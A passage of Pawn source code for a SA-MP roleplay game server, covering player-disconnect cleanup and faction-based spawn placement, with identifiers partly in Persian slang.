	Helpme[playerid] = INVALID_PLAYER_ID;
	if(playerid == Akharish-1)
	{
	   for(new i = playerid-1;i == 0;i--)
	   {
		  if(IsPlayerConnected(i))
		  {
			 Akharish = i+1;
		  }
	   }
	}
	if(RentedVehicle[playerid] != INVALID_VEHICLE_ID)
	{
	   SetVehicleToRespawn(RentedVehicle[playerid]);
	}
	OnRentMashinMessage[playerid] = false;
	for(new i = 0;i<Akharish;i++)
	{
	   if(Helpme[i] == playerid && IsPlayerConnected(i))
	   {
		  new alis[120];
		  format(alis, 120, "Your Helper (%s) Quited the game / Wait for answer from other helpers.",PINFO[playerid][pName]);
		  SCM(i,COLOR_SINA3,alis);
		  Helpme[i] = INVALID_PLAYER_ID-1;
		  IsHelpmed[i] = 0;
		  IsOnHelpme[i] = 0;
	   }
	   if(Helpme[playerid] == i && IsPlayerConnected(i))
	   {
		  new alis[120];
		  format(alis, 120, "Player %s that request for help left the game.",PINFO[playerid][pName]);
		  SCM(i,COLOR_SINA3,alis);
		  AnsweringHelpme[i] = 0;
	   }
	   if(Reported[i] == playerid && IsPlayerConnected(i))
	   {
		  new alis[120];
		  format(alis, 120, "Your Admin (%s) Quited the game / Wait for answer from other admins.",PINFO[playerid][pName]);
		  SCM(i,COLOR_SINA3,alis);
		  Reported[i] = INVALID_PLAYER_ID-1;
		  IsReported[i] = 0;
		  IsOnReport[i] = 0;
	   }
	   if(Reported[playerid] == i && IsPlayerConnected(i))
	   {
		  new alis[120];
		  format(alis, 120, "Player %s that request for report left the game.",PINFO[playerid][pName]);
		  SCM(i,COLOR_SINA3,alis);
		  AnsweringReport[i] = 0;
	   }
	}
	if(gPlayerLogged[playerid] == 1)
	{
	   if(PINFO[playerid][pHeadValue] >= 1)
	   {
		  if(AgentHiterID[playerid] != INVALID_PLAYER_ID)
		  {
//			 new string[256];
			 format(string,256,"Your contract(%s) left the game.",PINFO[playerid][pName]);
			 SCM(AgentHiterID[playerid],COLOR_Good,string);
			 AgentContractID[AgentHiterID[playerid]] = ReturnAgentID();
			 AgentContractIDUsed[ReturnAgentID()] = true;
			 AgentHitID[AgentHiterID[playerid]] = INVALID_PLAYER_ID;
			 AgentHiterID[playerid] = INVALID_PLAYER_ID;
		  }
	   }
	   if(AgentHitID[playerid] != INVALID_PLAYER_ID)
	   {
		  AgentHiterID[AgentHitID[playerid]] = INVALID_PLAYER_ID;
		  ContractID[AgentHitID[playerid]] = ReturnContractID();
		  ContractIDUsed[AgentHitID[playerid]] = true;
		  ContractsCount ++;
	   }
	}
	if(OnSellCar[playerid] != INVALID_PLAYER_ID)
	{
	   OwnableCarOffer[OnSellCar[playerid]] = INVALID_PLAYER_ID;
	   OwnableCarID[OnSellCar[playerid]] = 0;
	   OwnablePriceModel[OnSellCar[playerid]] = 0;
	   OwnableCarMethod[OnSellCar[playerid]] = 0;
	   SCM(OnSellCar[playerid],COLOR_SINA3,"Your offer rejected(car offerer left game).");
	}
	if(OwnableCarOffer[playerid] != INVALID_PLAYER_ID)
	{
	   OnSellCar[OwnableCarOffer[playerid]] = INVALID_PLAYER_ID;
	   SCM(OwnableCarOffer[playerid],COLOR_SINA3,"Offer rejected (who you offer them left game).");
	}
	TeadadPlayers --;
	if(gPlayerLogged[playerid] == 1)
	{
	   if(OnRob[playerid] == true && RobLeader[playerid] == false)
	   {
		  new strrali[256];format(strrali,256,"Mission ~r~Failed~n~~r~%s left the game",PINFO[playerid][pName]);
		  GameTextForPlayer(RobDriver[playerid],strrali,9000,0);
		  if(CP[RobDriver[playerid]] >= 2002001 && CP[RobDriver[playerid]] <= 2002009){DisablePlayerCheckpoint(RobDriver[playerid]);OnCheckpoint[RobDriver[playerid]] = 0;CP[RobDriver[playerid]] = 0;}
		  OnRob[RobDriver[playerid]] = false;
		  RobLeader[RobDriver[playerid]] = false;
		  for(new i = 0;i<RobMemberCount[RobDriver[playerid]];i++)
		  {
			 if(RobMember[RobDriver[playerid]][i] != playerid)
			 {
				GameTextForPlayer(RobMember[RobDriver[playerid]][i],strrali,9000,0);
				OnRob[RobMember[RobDriver[playerid]][i]] = false;
				RobDriver[RobMember[RobDriver[playerid]][i]] = INVALID_PLAYER_ID;
			 }
		  }
		  RobMemberCount[RobDriver[playerid]] = 0;
		  for(new i = 0;i<MAX_PLAYERS;i++)
		  {
			 RobMember[RobDriver[playerid]][i] = INVALID_PLAYER_ID;
		  }
	   }
	   if(OnRob[playerid] == true && RobLeader[playerid] == true)
	   {
		  new strrali[256];format(strrali,256,"Mission ~r~Failed~n~~r~%s left the game",PINFO[playerid][pName]);
		  for(new i = 0;i<RobMemberCount[playerid];i++)
		  {
			 GameTextForPlayer(RobMember[playerid][i],strrali,9000,0);
			 OnRob[RobMember[playerid][i]] = false;
			 RobDriver[RobMember[playerid][i]] = INVALID_PLAYER_ID;
		  }
	   }
	   if(WantedKamKonTimerValid[playerid] == true) WantedTimerEZ[playerid] = 0;
	   WantedKamKonTimerValid[playerid] = false;
	   PlayerTextDrawHide(playerid, WantedTTD[playerid]);
	   if(EventOrg == playerid)
	   {
			 for(new i = 0;i<Akharish;i++)
			 {
//			 new string[256];
			 if(reason == 0) format(string,256,"%s crashed from the game and their event got overed.",PINFO[playerid][pName]);
			 if(reason == 1) format(string,256,"%s quited from the game and their event got overed.",PINFO[playerid][pName]);
			 if(reason == 2) format(string,256,"%s kicked or banned from the game and their event got overed.",PINFO[playerid][pName]);
			 SendClientMessageToAll(COLOR_YELLOW, string);
			 EventOrg = INVALID_PLAYER_ID;
			 EventHave = false;
			 EventIDUsed[EventID[playerid]] = false;
			 EventIDOrg[EventID[playerid]] = INVALID_PLAYER_ID;
			 EventSay(COLOR_YELLOW,"Event get overed by AdmBot.");
			 EventReward[playerid] = 0;
			 strmid(EventTime[playerid],"00:00",0,strlen("00:00"),20);
			 strmid(EventLocation[playerid],"HichJa",0,strlen("HichJa"),60);
			 strmid(EventDesc[playerid],"KooFT",0,strlen("KooFT"),80);
			 strmid(EventTitle[playerid],"Hichi",0,strlen("Hichi"),60);
			 EventID[playerid] = 9999;
				for(new ssss = 0;ssss<EventCar;ssss++)
			 {
			  DestroyVehicle(EventCars[ssss]);
			  }
				if(EventPlayer[i])
				{
			   EventBan[i] = false;
				EventPlayer[i] = 0;
				TogglePlayerControllable(i, 1);
				OnFreeze[i] = 0;
			 ResetPlayerKolang(i);
				SetPlayerVirtualWorld(i, 0);
				SpawnPlayer(i);
				EventGotoHave = false;
				}
	   }
	   }
	   if(EventID[playerid] != 9999)
	   {
			 for(new i = 0;i<Akharish;i++)
			 {
			 EventIDUsed[EventID[playerid]] = false;
			 EventIDOrg[EventID[playerid]] = INVALID_PLAYER_ID;
			 EventReward[playerid] = 0;
			 strmid(EventTime[playerid],"00:00",0,strlen("00:00"),20);
			 strmid(EventLocation[playerid],"HichJa",0,strlen("HichJa"),60);
			 strmid(EventDesc[playerid],"KooFT",0,strlen("KooFT"),80);
			 strmid(EventTitle[playerid],"Hichi",0,strlen("Hichi"),60);
			 if(EventPlayer[i])
				{
				SetPlayerVirtualWorld(EventPlayer[i], 0);
				EventPlayer[i] = 0;
				EventBan[i] = false;
				TogglePlayerControllable(EventPlayer[i], 1);
				OnFreeze[EventPlayer[i]] = 0;
				ResetPlayerKolang(EventPlayer[i]);
				SpawnPlayer(EventPlayer[i]);
			}
	   }
	}
   }
	if(adtimerplayer[playerid] > 0)
	{
	   adtimer -= adtimerplayer[playerid];
	   for(new i = 0;i < Akharish;i++)
	   {
		  if(adtimerplayer[i] > 0)
		  {
			 adtimerplayer[i] -= adtimerplayer[playerid];
		  }
	   }
	   adtimerplayer[playerid] = 0;
	}

	TimerAnnouncer[playerid] = 0;
	if(SpeedTimerUsed[playerid] == true)
	{
	   SpeedTimerUsed[playerid] = false;
	   KillTimer(SpeedTimer[playerid]);
	}
	if(WeaponTimeRunning[playerid] == true) {KillTimer(CheckWeaponTime[playerid]); WeaponTimeRunning[playerid] = false;}
	KillTimer(PaymecTime[playerid]);
	KillTimer(HealthTimer[playerid]);
	//KillTimer(TeshneTimer[playerid]);
	//KillTimer(GoshneTimer[playerid]);
	if(AntiKoonHack[playerid] && PINFO[playerid][pTut] == 1 && gPlayerLogged[playerid] == 1)
	{
	   KillTimer(AntiKoonHack[playerid]);
	}
	if(KickLoginUsed[playerid] == true)
	{
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
	   KickLoginUsed[playerid] = false;
	}
	if(Mobile[playerid] != 9999 && Mobile[Mobile[playerid]] != 9999)
	{
			 new caller = Mobile[playerid];
			 if(IsPlayerConnected(caller))
			 {
				SendMessage(caller,  COLOR_PURPLE, "The line just went dead. (Your caller left the game)");
				SetPlayerSpecialAction(caller, SPECIAL_ACTION_STOPUSECELLPHONE);
				RemovePlayerAttachedObject(caller, 0);
				CellTime[playerid] = 90;
				CellTime[caller] = 90;
				Mobile[playerid] = 9999;
				Mobile[caller] = 9999;
				TimerRingTone[playerid] = 0;
				TimerRingTone[caller] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
			 }
	}
	if(Mobile[playerid] != 9999 && CallWaiting[playerid] == 9999)
	{
			 new caller = Mobile[playerid];
			 if(IsPlayerConnected(caller))
			 {
				SendMessage(caller,  COLOR_PURPLE, "The line just went dead. (Your caller left the game)");
				RemovePlayerAttachedObject(caller, 0);
				CellTime[playerid] = 90;
				CellTime[caller] = 90;
				Mobile[playerid] = 9999;
				Mobile[caller] = 9999;
				TimerRingTone[playerid] = 0;
				TimerRingTone[caller] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
				CallWaiting[caller] = 9999;
			 }
	}
	if(Mobile[playerid] == 9999 && CallWaiting[playerid] != 9999)
	{
			 new caller = CallWaiting[playerid];
			 if(IsPlayerConnected(caller))
			 {
				SendMessage(caller,  COLOR_PURPLE, "The line just went dead. (Your caller target left the game)");
				RemovePlayerAttachedObject(caller, 0);
				SetPlayerSpecialAction(caller, SPECIAL_ACTION_STOPUSECELLPHONE);
				CellTime[playerid] = 90;
				CellTime[caller] = 90;
				Mobile[playerid] = 9999;
				Mobile[caller] = 9999;
				TimerRingTone[playerid] = 0;
				TimerRingTone[caller] = 0;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
				PlayerInfo[caller][pSpeaker] = 0;//Nemikhad save she
				CallWaiting[playerid] = 9999;
			 }
	}


	HealthAllowedForPlayer[playerid] = 0;
	AFK[playerid]=0;
 //   new stringl[85];
 //   format(stringl, sizeof(stringl), "[Left] %s (%i) has left the server [%s]", PINFO[playerid][pName], playerid, PINFO[playerid][pIp]);


	//SaveAccount(playerid);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(IAcceptTaxi[i] == 1)
		  {
			 if(TaxiAccepted[i] == playerid)
			 {
				IAcceptTaxi[i] = 0;
				GameTextForPlayer(i, "~w~Taxi Caller~n~~r~Left the game", 5000, 1);
				TaxiCallTime[i] = 0;
				DisablePlayerCheckpoint(i);
				OnCheckpoint[i] = 0;
			 }
		  }
	   }
	}
	if(TransportCost[playerid] > 0 && TransportDriver[playerid] < INVALID_PLAYER_ID)
	{
	   if(IsPlayerConnected(TransportDriver[playerid]))
	   {
		  TransportMoney[TransportDriver[playerid]] += TransportCost[playerid];
		  TransportTime[TransportDriver[playerid]] = 0;
		  TransportCost[TransportDriver[playerid]] = 0;
		  format(string, sizeof(string), "~w~Passenger left~n~~g~Earned $%s",FormatNumber(TransportCost[playerid]));
		  GameTextForPlayer(TransportDriver[playerid], string, 5000, 1);
		  PlayerInfo[TransportDriver[playerid]][pFAct1] += 1;
		  SaveKonVal(TransportDriver[playerid], "pFAct1", PINFO[TransportDriver[playerid]][pFAct1]);
	   }
	}

	if(OnPaintBall[playerid] != 0)
	{
	   PaintBallPlayers --;
	}
	if(OnKarting[playerid] != 0)
	{
	   KartingPlayers --;
	}
	//----------------------------------------------
	if(TransportDuty[playerid] == 1)
	{
	   TaxiDrivers -= 1;
	}
	else if(TransportDuty[playerid] == 2)
	{
	   BusDrivers -= 1;
	}
	else if(PlayerInfo[playerid][pJob] == 7)
	{
	   if(JobDuty[playerid] == 1) { Mechanics -= 1; }
	}
	ResetPlayerKolang(playerid);
	gPlayerLogged[playerid] = 0;

	SendOfflineF(playerid);




	return 1;
}
/*----------------------------------------------------------------------------*/
public SetPlayerSpawn(playerid)
{
	if(IsPlayerConnected(playerid))
	{
		if(Reside[playerid] == 1) {
		SetPlayerPos(playerid, -6447.601562,-1470.213500,622.656127);
		SetPlayerInterior(playerid, 0);
		SetPlayerVirtualWorld(playerid, 85);
		SetPlayerTime(playerid, 20, 0); // Noon
		SetPlayerWeather(playerid, 200);
		return 1;
		}
		if(IsMulti[playerid] == 1) {
		SetPlayerPos(playerid, 884.655761,-3296.743164,24.600702);
		SetPlayerColor(playerid,COLOR_AFK);
		new rand = RandomShomare(5,7);
		SetPlayerScore(playerid, rand);
		return 1;
		}
		if(PaintBallStarting == 0 && PaintballStarted == 1 && OnPaintBall[playerid] != 0) {
		//SetTimerEx("BedeGun",300,0,"i",playerid);
		//SetTimerEx("BedeGun",500,0,"i",playerid);

		if(pbdg > pbsl && pbdg > pbsg && pbdg > pbss && pbdg > pbcs && pbdg > pbmp && pbdg > pbsr && pbdg > pbak && pbdg > pbm4 && pbdg > pbcr)
		{GivePlayerPBKolang(playerid, 24, 2000);}

		else if(pbsl > pbdg && pbsl > pbsg && pbsl > pbss && pbsl > pbcs && pbsl > pbmp && pbsl > pbsr && pbsl > pbak && pbsl > pbm4 && pbsl > pbcr)
		{GivePlayerPBKolang(playerid, 23, 2000);}

		else if(pbsg > pbdg && pbsg > pbsl && pbsg > pbss && pbsg > pbcs && pbsg > pbmp && pbsg > pbsr && pbsg > pbak && pbsg > pbm4 && pbsg > pbcr)
		{GivePlayerPBKolang(playerid, 25, 2000);}

		else if(pbss > pbdg && pbss > pbsl && pbss > pbsg && pbss > pbcs && pbss > pbmp && pbss > pbsr && pbss > pbak && pbss > pbm4 && pbss > pbcr)
		{GivePlayerPBKolang(playerid, 26, 2000);}

		else if(pbcs > pbdg && pbcs > pbsl && pbcs > pbss && pbcs > pbsg && pbcs > pbmp && pbcs > pbsr && pbcs > pbak && pbcs > pbm4 && pbcs > pbcr)
		{GivePlayerPBKolang(playerid, 27, 2000);}

		else if(pbmp > pbdg && pbmp > pbsl && pbmp > pbss && pbmp > pbcs && pbmp > pbsg && pbmp > pbsr && pbmp > pbak && pbmp > pbm4 && pbmp > pbcr)
		{GivePlayerPBKolang(playerid, 29, 2000);}

		else if(pbsr > pbdg && pbsr > pbsl && pbsr > pbss && pbsr > pbcs && pbsr > pbmp && pbsr > pbsg && pbsr > pbak && pbsr > pbm4 && pbsr > pbcr)
		{GivePlayerPBKolang(playerid, 34, 2000);}

		else if(pbak > pbdg && pbak > pbsl && pbak > pbss && pbak > pbcs && pbak > pbmp && pbak > pbsr && pbak > pbsg && pbak > pbm4 && pbak > pbcr)
		{GivePlayerPBKolang(playerid, 30, 2000);}

		else if(pbm4 > pbdg && pbm4 > pbsl && pbm4 > pbss && pbm4 > pbcs && pbm4 > pbmp && pbm4 > pbsr && pbm4 > pbak && pbm4 > pbsg && pbm4 > pbcr)
		{GivePlayerPBKolang(playerid, 31, 2000);}

		else if(pbcr > pbdg && pbcr > pbsl && pbcr > pbss && pbcr > pbcs && pbcr > pbmp && pbcr > pbsr && pbcr > pbak && pbcr > pbm4 && pbcr > pbsg)
		{GivePlayerPBKolang(playerid, 33, 2000);}
		else {GivePlayerPBKolang(playerid, 31, 2000);GivePlayerPBKolang(playerid, 27, 2000);}

		}
	   new rand;
	   new house = PlayerInfo[playerid][pPhousekey];
/*
		if(PINFO[playerid][pSoldier] != 0 && OnPaintBall[playerid] == 0) {
		if(PINFO[playerid][pJailTime] != 0) {
		SetPlayerPos(playerid, 1240.96301, 677.48804, 7.26228);
		PlayerInfo[playerid][cSkin] = 285;
		SaveKonVal(playerid, "cSkin", 285);
		SetPlayerSkin(playerid, PINFO[playerid][cSkin]);
		SetPlayerFacingAngle(playerid, 145.074752);
		SetPlayerVirtualWorld(playerid, 0);
		return 1;
		}
		PlayerInfo[playerid][cSkin] = 285;
		SaveKonVal(playerid, "cSkin", 285);
		SetPlayerSkin(playerid, PINFO[playerid][cSkin]);
		SetPlayerPos(playerid, 1286.106811,746.573059,10.820312);
		SetPlayerFacingAngle(playerid, 145.074752);
		SetPlayerVirtualWorld(playerid, 0);

		return 1;
		}
		*/
	   if(house != 9999 && SpawnChange[playerid]){TooHouse[playerid] = house;}
	   if(AFK[playerid] == 1 && (PINFO[playerid][pPhousekey] == 9999 || TooHouse[playerid] == 9999)) { AFK[playerid] = 0; }
	   if(AFK[playerid] == 1)
	   {
		  AFK[playerid] = 1;
		  TogglePlayerControllable(playerid, 0);
		  SetPlayerColor(playerid,COLOR_AFK);
		  LoopingAnim(playerid,"CRACK","crckidle2",4.0,0,0,0,1,0);
	   }

	if(OnPaintBall[playerid] != 0)
		{
			//ResetPlayerKolang(playerid);
			SetPlayerZereh(playerid, 0);
			SetPlayerVirtualWorld(playerid,10);
			//GivePlayerKolang(playerid, 29, 2000);
			rand = random(sizeof(PaintballSpawns));
			SetPlayerPos(playerid, PaintballSpawns[rand][0], PaintballSpawns[rand][1], PaintballSpawns[rand][2]);
			Mahal[playerid] = 1;
			TooHouse[playerid] = 9999;
			TooBiz[playerid] = 9999;
			PaintBallPlayers ++;
			if(PaintBallPlayers >= 3 && PTime >= 30)
			{
				for(new i;i<Akharish;i++)
				{
					if(IsPlayerConnected(i))
					{
						if(OnPaintBall[i] == 1)
						{
						   SCM(i,COLOR_SINA3,"A player has joined to the match(3/x) now paintball timer set to 30 seconds.");
						   PTime = 30;
						}
					}
				}
			}
			if(PaintballStarted == 0 && PaintBallStarting == 1)
			{
				new lol = PTime,minN,sec;
				for(new i;i<7;i++)
				{
				   if(lol >= 60) {lol -= 60;minN++;}
				   if(lol <= 59) {sec = lol; lol = 0; break;}
				}
				new sttr[256];format(sttr,256,"You need to wait %d Minutes and %d seconds to other players join this match.",minN,sec);
				SCM(playerid,COLOR_SINA3,sttr);
				TogglePlayerControllable(playerid,0);
			}
			if(PaintballStarted == 0 && PaintBallStarting == 0)
			{
			   SCM(playerid,COLOR_SINA3,"You need to wait 5 minutes to other players join this match.");
				PTime = 300;
				TogglePlayerControllable(playerid,0);
				PaintBallStarting = 1;
			}
			return 1;
		}


	   if(OnStopSpecing[playerid] == true)
	   {
		  SetPlayerVirtualWorld(playerid,TelportEtela2[playerid][0]);
		  SetPlayerInterior(playerid,TelportEtela2[playerid][1]);
		  Mahal[playerid] = TelportEtela2[playerid][2];
		  TooBiz[playerid] = TelportEtela2[playerid][4];
		  TooHouse[playerid] = TelportEtela2[playerid][3];
		  SetPlayerPos(playerid,TelePos2[playerid][0],TelePos2[playerid][1],TelePos2[playerid][2]);
		  OnStopSpecing[playerid] = false;
		  return 1;
	   }


	   if(MedicBill[playerid] == 1 && PlayerInfo[playerid][pJailTime] <= 0 && OnPaintBall[playerid] == 0)
	   {
	   if(gPlayerLogged[playerid])
	   {
		  GivePlayerPool(playerid, -SBizzInfo[15][sbEntranceCost]);
		  new string[144];
		  format(string, 144, "DOC: Your Medical Bill comes to $%i, have a nice day.",SBizzInfo[15][sbEntranceCost]);
		  SendMessage(playerid, TEAM_CYAN_COLOR, string);
		  MedicBill[playerid] = 0;
		  MedicTime[playerid] = 0;
		  NeedMedicTime[playerid] = 0;
		  PlayerInfo[playerid][pDeaths] += 1;
		  SaveKonVal(playerid, "pDeaths", PINFO[playerid][pDeaths]);
		  SetPlayerKoon(true, playerid, 100);
		  SBizzInfo[15][sbTill] += SBizzInfo[15][sbEntranceCost];
	   }
	   else
	   {
	   SetToWaitingToJoin(playerid);
	   MedicBill[playerid] = 0;
	   PlayerTextDrawShow(playerid, needlog[playerid]);
	   PlayerTextDrawSetString(playerid, needlog[playerid], "Server is syncing you...");
	   }
	   }

	   if(house != 9999)
	   {
		  if(SpawnChange[playerid]) //If 1, then you get to your house, else spawn somewhere else
		  {
			 SetPlayerToTeamColor(playerid);
			 SetPlayerInterior(playerid,HouseInfo[house][hInt]);
			 SetPlayerVirtualWorld(playerid,HouseInfo[house][hWorld]);
			 SetPlayerPos(playerid, HouseInfo[house][hEntrancex], HouseInfo[house][hEntrancey],HouseInfo[house][hEntrancez]); // Warp the player
			 TooHouse[playerid] = house;
			 Mahal[playerid] = 3;
			 TooBiz[playerid] = 9999;
			 return 1;
		  }
	   }
	   if(house == 9999)
	   {
		   SetPlayerVirtualWorld(playerid, 0);
	   }
	   if(PlayerInfo[playerid][pLeader] == 7)//Mayor spawn
	   {
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 3);
		  SetPlayerPos(playerid, 356.2998,151.9914,1025.7891);
		  Mahal[playerid] = 4;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  //SetPlayerVirtualWorld(playerid,55);
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pLeader] == 1)//Police  spawn
	   {
		  SetPlayerVirtualWorld(playerid, 0);
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid,6);
		  SetPlayerPos(playerid, 232.2978,73.3325,1005.0391);
		  Mahal[playerid] = 5;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  SetPlayerFacingAngle(playerid, 270.0);
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)//DEA spawn
	   {
		  SetPlayerVirtualWorld(playerid, 0);
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid,3);
		  SetPlayerPos(playerid, 299.7097,183.1322,1007.1719);
		  SetPlayerFacingAngle(playerid, 90);
		  Mahal[playerid] = 6;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)//National Guard spawn
	   {
		  SetPlayerVirtualWorld(playerid, 0);
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 0);
		  SetPlayerPos(playerid, 224.2563,1872.6023,13.7344);
		  Mahal[playerid] = 9999;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 4 || PlayerInfo[playerid][pLeader] == 4)//Fire/Ambulance spawn
	   {
		  SetPlayerToTeamColor(playerid);
		  SetPlayerPos(playerid, 1495.969726,1307.056152,1093.289062);
		  SetPlayerVirtualWorld(playerid,71);// 71
		  SetPlayerInterior(playerid,3);
		  Mahal[playerid] = 70;
		  SetPlayerFacingAngle(playerid,90);
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 5 || PlayerInfo[playerid][pLeader] == 5)//Da Nang Boys spawn
	   {
		  SetPlayerVirtualWorld(playerid, 4005);// 4005
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 5);
		  SetPlayerPos(playerid, 140.279296, 1367.209716, 1083.861206);
		  Mahal[playerid] = 7;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 14 || PlayerInfo[playerid][pLeader] == 14)//TBF spawn
	   {
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 12);
		  SetPlayerVirtualWorld(playerid, 40014);// 40014
		  SetPlayerPos(playerid, 2324.611328, -1146.620605, 1050.710083);
		  Mahal[playerid] = 8;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 6 || PlayerInfo[playerid][pLeader] == 6)//Triads spawn
	   {
		  SetPlayerVirtualWorld(playerid, 4006);// 4006
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 5);
		  SetPlayerPos(playerid, 1298.830810,-795.336669,1084.007812);
		  Mahal[playerid] = 9;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 8 || PlayerInfo[playerid][pLeader] == 8) //Hitman spawn
	   {
		  SetPlayerToTeamColor(playerid);
		  SetPlayerPos(playerid, 1701.744262,-1667.856689,20.218750);
		  SetPlayerVirtualWorld(playerid, 54);// 54
		  Mahal[playerid] = 10;
		  SetPlayerInterior(playerid,18);
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 9 || PlayerInfo[playerid][pLeader] == 9) //News spawn
	   {
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid,3);
		  SetPlayerVirtualWorld(playerid,72);// 72
		  SetPlayerPos(playerid, 1495.969726,1307.056152,1093.289062);
		  SetPlayerFacingAngle(playerid,90);
		  Mahal[playerid] = 9999;
		  GivePlayerKolang(playerid, 43, 20);
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pLeader] == 15)//VLA spawn
	   {
		  SetPlayerVirtualWorld(playerid, 40015);// 40015
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 18);
		  SetPlayerPos(playerid, 1701.530639, -1667.804565, 20.218750);
		  Mahal[playerid] = 11;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)//SFPD spawn
	   {
		// EDIT SFPD //
		  SetPlayerVirtualWorld(playerid, 100074);// 100074
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 10);
		  SetPlayerPos(playerid, 246.498916,108.437835,1003.218750);
		  Mahal[playerid] = 9524;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 19 || PlayerInfo[playerid][pLeader] == 19)//Top Boys spawn
	   {
		  SetPlayerVirtualWorld(playerid, 0);
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 5);
		  SetPlayerPos(playerid, 140.277526, 1367.825195, 1083862060);
		  Mahal[playerid] = 214;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 12 || PlayerInfo[playerid][pLeader] == 12)//Grove Street Family spawn
	   {
		  SetPlayerVirtualWorld(playerid, 40012);// 40012
		  SetPlayerToTeamColor(playerid);
			SetPlayerInterior(playerid, 5);
		  SetPlayerPos(playerid, 1298.830810,-795.336669,1084.007812);
		  Mahal[playerid] = 12;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 13 || PlayerInfo[playerid][pLeader] == 13)//Vagos Family spawn
	   {
		  SetPlayerVirtualWorld(playerid, 40013);// 40013
		  SetPlayerToTeamColor(playerid);
		  SetPlayerInterior(playerid, 18);
		  SetPlayerPos(playerid, 1701.530639, -1667.804565, 20.218750);
		  Mahal[playerid] = 13;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
	   if (PlayerInfo[playerid][pMember] == 16 || PlayerInfo[playerid][pLeader] == 16)//Tow Car Company spawn
	   {
		  SetPlayerVirtualWorld(playerid, 0);
		  SetPlayerToTeamColor(playerid);
		  SetPlayerPos(playerid, 912.2000,-1234.9801,17.2109);
		  SetPlayerFacingAngle(playerid, 4.6505);
		  SetPlayerInterior(playerid,0);
		  Mahal[playerid] = 9999;
		  TooHouse[playerid] = 9999;
		  TooBiz[playerid] = 9999;
		  return 1;
	   }
if (PlayerInfo[playerid][pMember] == 17 || PlayerInfo[playerid][pLeader] == 17)//Hacker spawn
{
SetPlayerVirtualWorld(playerid, 40017);
SetPlayerToTeamColor(playerid);
SetPlayerPos(playerid, 373.697601, 106.429779, 1028.251220);
SetPlayerFacingAngle(playerid, -90.00);
SetPlayerInterior(playerid,0);
Mahal[playerid] = 1685;
TooHouse[playerid] = 9999;
TooBiz[playerid] = 9999;
FreezePlayer(playerid);
	return 1;
}
	   if(IsAnTaxi(playerid) || PlayerInfo[playerid][pMember] == 10 || PlayerInfo[playerid][pLeader] == 10) //Taxi Cab Company spawn
	   {
		  if(TaxiSpawn[playerid] == 0)
		  {
			 SetPlayerToTeamColor(playerid);
			 SetPlayerPos(playerid, 1495.969726,1307.056152,1093.289062);
			 SetPlayerFacingAngle(playerid,90);
			 Mahal[playerid] = 14;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
			 SetPlayerInterior(playerid,3);
			 SetPlayerVirtualWorld(playerid, 70);
		  }
		  else if(TaxiSpawn[playerid] == 1)
		  {
			 SetPlayerVirtualWorld(playerid, 0);
			 SetPlayerToTeamColor(playerid);
			 SetPlayerPos(playerid, 1755.6456,-1894.1962,13.5566);
			 SetPlayerFacingAngle(playerid, 180);
			 SetPlayerInterior(playerid,0);
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
		  }
		  return 1;
	   }
	   if(IsAnInstructor(playerid) || PlayerInfo[playerid][pMember] == 11 || PlayerInfo[playerid][pLeader] == 11) //Driving/Flying School spawn
	   {
